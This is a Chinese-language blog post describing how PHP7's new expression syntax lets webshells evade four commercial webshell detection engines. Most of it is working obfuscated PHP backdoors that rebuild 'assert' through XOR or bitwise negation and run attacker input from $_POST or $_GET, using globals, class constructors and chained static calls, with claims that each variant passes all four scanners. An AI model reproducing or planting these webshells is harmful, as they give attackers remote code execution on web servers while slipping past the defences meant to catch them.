ma4ter

Index | Photo | About | Friends | Archives

利用php7的特性bypass 4webshell查杀引擎

五一快乐,今天一个人去看了《你的婚礼》,ma的浪费了人生中的两个小时,我一点都不感动,剧情过于狗血,好了进入正题,分享一下利用php7的特性进行bypass 4webshell查杀引擎(百度,长亭,D盾,安全狗)

百度webdir+: https://scanner.baidu.com/

长亭webshellchop: https://webshellchop.chaitin.cn/

d盾:http://www.d99net.net/

网站安全狗:https://www.safedog.cn/website_safedog.html

PHP7的新语法

利用php7的特性bypass 4webshell查杀引擎利用php7的特性bypass 4webshell查杀引擎

我们看到这行语句在php5的环境下报错了 而在php7下却正常 其实这是php7的一个新语法

我找到了这篇文章:https://www.bbsmax.com/A/A7zg1YD154/

其中有一个特性是 解析任意表达式

直接看下面的示例:

<?php
// (expression) is array
(expression)['key']; 
// (expression) is a class object
(expression)->foo();
(expression)->prop;
// (expression) is a class name
(expression)::$foo;
(expression)::foo();
// (expression) is a string
(expression){0};
// (expression) is a callable object
(expression)();

这意味着expression可以是一个字符串的形式 然后用括号将其包裹起来就可以进行上面这些方式的调用

这就为我们在php7环境的免杀提供了很多方便 我们可以将字符串进行异或,取反等等操作来避免对字符串的查杀

嵌套使用 ::

如果Foo::bar()返回一个静态类的名字,我们可以这样访问它的静态成员或者调用静态方法:

<?php
Foo::bar()::$staticProp;
Foo::bar()::$staticMethod();

要注意的是这些语法是会在php5环境下出错的

姿势1

异或

利用php7的特性bypass 4webshell查杀引擎

我们将某个字符与其他字符进行异或然后再异或回来进行字符串拼接

('a'.(urldecode('%12')^'a')."s"."ert")($_POST[1]);

利用php7的特性bypass 4webshell查杀引擎

我们上传进行检测一下

利用php7的特性bypass 4webshell查杀引擎

虽然直接报了5级,但是不要慌,因为后面我发现长亭的这个引擎是因为杀了后面的$_POST[1]参数

我们利用global全局变量的方式进行bypass

<?php
$b=$_GET[1];
function ma4ter()
{
    global $b;
    ('a' . (urldecode('%12') ^ 'a') . "s" . "ert")($b);
}
ma4ter();

长亭马上变哑巴:

利用php7的特性bypass 4webshell查杀引擎

我们还可以构造一个类的形式 然后进行实例化

<?php
class ma4ter{
    protected $a="aasdaAasd";
    public function __construct($a){
        $this->a=$a;
     ('a'.(urldecode('%12')^'a')."s"."ert")($this->a);
    }
}
new ma4ter(@$_POST[1]);

利用php7的特性bypass 4webshell查杀引擎

可以看到很轻松的就过了四引擎

当然还有很多函数例如call_user_func call_user_func_array等等都可以这样玩

取反

利用php7的特性bypass 4webshell查杀引擎

<?php

class ma4ter{
    protected $a="aasdaAasd";
    public function __construct($a){
        $this->a=$a;
       ((~urldecode('%9E'))."s"."s"."ert")($this->a);
    }
}
new ma4ter(@$_POST[1]);

4引擎:

利用php7的特性bypass 4webshell查杀引擎

利用php7的特性bypass 4webshell查杀引擎

当然还有很多玩法 比如位非 位与进行位运算 随意发挥

姿势2

利用php7的特性bypass 4webshell查杀引擎

这段代码的意思是访问ma4ter中静态方法 这个方法返回了字符串assert 然后将其当作类名访问其静态方法 静态方法里面再次调用静态方法实现了assert()的调用 但是我们会发现这样被某亭当作了5级 但是不要慌 经过fuzz发现是传参这里被拦截了

利用php7的特性bypass 4webshell查杀引擎

我们可以通过global使用全局变量的形式进行绕过

利用php7的特性bypass 4webshell查杀引擎

<?php
$b=$_GET[1];
class ma4ter{
    public static function method(){
        return "assert";
    }
}
class assert{
    static function staticMethod(){
        global $b;
        return ma4ter::method()($b);
    }
}
ma4ter::method()::staticMethod();

当然我这里只是抛砖引玉 只举出了我觉得比较好用的两个特性 php7当中还有更多好用作Bypass的新特性等着发掘